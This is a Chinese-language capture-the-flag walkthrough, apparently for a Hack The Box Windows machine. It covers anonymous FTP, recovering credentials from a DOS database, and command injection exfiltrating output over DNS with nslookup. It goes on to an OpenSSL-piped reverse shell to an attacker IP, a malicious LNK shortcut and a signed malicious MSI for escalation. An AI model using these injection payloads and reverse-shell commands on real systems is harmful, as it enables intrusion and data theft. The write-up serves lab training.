首先这题真的很难,要有充分的思想准备和无数次的模拟环境搭建
1.利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否者经常因为网络因素导致下载失败
2.解压FDISK.zip,可以拿到一个镜像文件。利用file命令识别后,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。
3.16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关...进入pbox首先还是挂载mount c c:\pbox,将此c:\pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下:
4.这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI - Get csdpmi*b.zip > 的错误。解决方式可以参考:https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。
5.输入的密码是password,进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:
user: alan
password: !C414m17y57r1k3s4g41n!
6.获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。
7.需要解决的问题是如何查看回显,在linux环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果,例如我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:
127.0.0.1 | for /f "tokens=2" %I in ('netstat -ano') do nslookup %I 10.10.8.8
有关for /f的脚本循环体介绍可以看https://www.youtube.com/watch?v=jMS6LkMdAHI
需要注意的是tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可如:
127.0.0.1 | for /f "tokens=1,2,3,4,5,6" %a in ('type c:\xxxxx.txt') do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8
在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复)
8.枚举防火墙规则,netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:\users\public目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:\users\public\desktop\shortcuts\,最终读取防火墙配置:仅允许TCP 73和136端口通信。
枚举权限:
127.0.0.1 & for /f "tokens=1,2,3," %a in ('icacls c:\users\public\Desktop*. /findsid alan /t /c /l') do nslookup %a.%b.%c 10.10.8.8
9.继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:\Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。
能显示较完整dir结果的命令:
127.0.0.1 & for /f "tokens=1,2,3," %a in ('dir /B "C:\users\public\Desktop\Shortcuts"') do nslookup %a.%b.%c 10.10.8.8
10.openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网https://www.openssl.org可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过http://slproweb.com/products/Win32OpenSSL.html下载。安装过程就是一路next不再赘述。
11.在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写
对命令参数有疑问的可以参考IBM文档:
https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html
12.利用openssl的s_client连接服务器,在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:
openssl s_client 1 ---->input | cmd.exe | openssl s_client 2 ---->output
这也是为什么防火墙规则要放行两个端口的原因。
转化为web端的RCE命令即:
10.10.8.8 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)
注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:
openssl s_server -quiet -key key.pem -cert cert.pem -port 73
openssl s_server -quiet -key key.pem -cert cert.pem -port 136
我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果
13.在获取一个低权限的shell以后,我们能在c:\users\alan\Desktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。
14.LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址:https://github.com/Plazmaz/LNKUp
命令格式:
python generate.py --host localhost --type ntlm --output out.lnk --execute
"C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:\Progra~2\OpenSSLv1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136"
生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。
15.上传恶意快捷方式,并覆盖c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。
kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt
web运行:10.10.8.8|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 > c:\users\public\desktop\shortcuts\out.txt(注意上传成功后改回后缀)
重新建立shell连接
shell运行:del "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" & copy "c:\users\public\desktop\shortcuts\out.lnk" "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk"
16.很快能够获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73输入,在136中查看结果,操作顺畅不少,在jorge用户桌面拿下user.txt
17.继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi
18.直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.cer
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.pvk
将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。
19.生成msi,我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写关键参数后就可以Create MSI Package了。(密码留空)
20.利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:
.NET Framework 4 :https://www.microsoft.com/en-us/download/details.aspx?id=17851
winsdk:https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279
安装好后,就可以开始签名了,命令依次如下:
makecert -n "CN=Ethereal" -pe -cy end -ic C:\MyCA.cer -iv C:\MyCA.pvk -sky signature -sv C:\hack.pvk C:\hack.cer
pvk2pfx -pvk C:\hack.pvk -spc C:\hack.cer -pfx C:\hack.pfx
signtool sign /f C:\hack.pfx C:\shell.msi
如果签名成功,可以看到如下提示:
21.将签名后的msi上传至d:\dev\msis\shell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt
22.若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。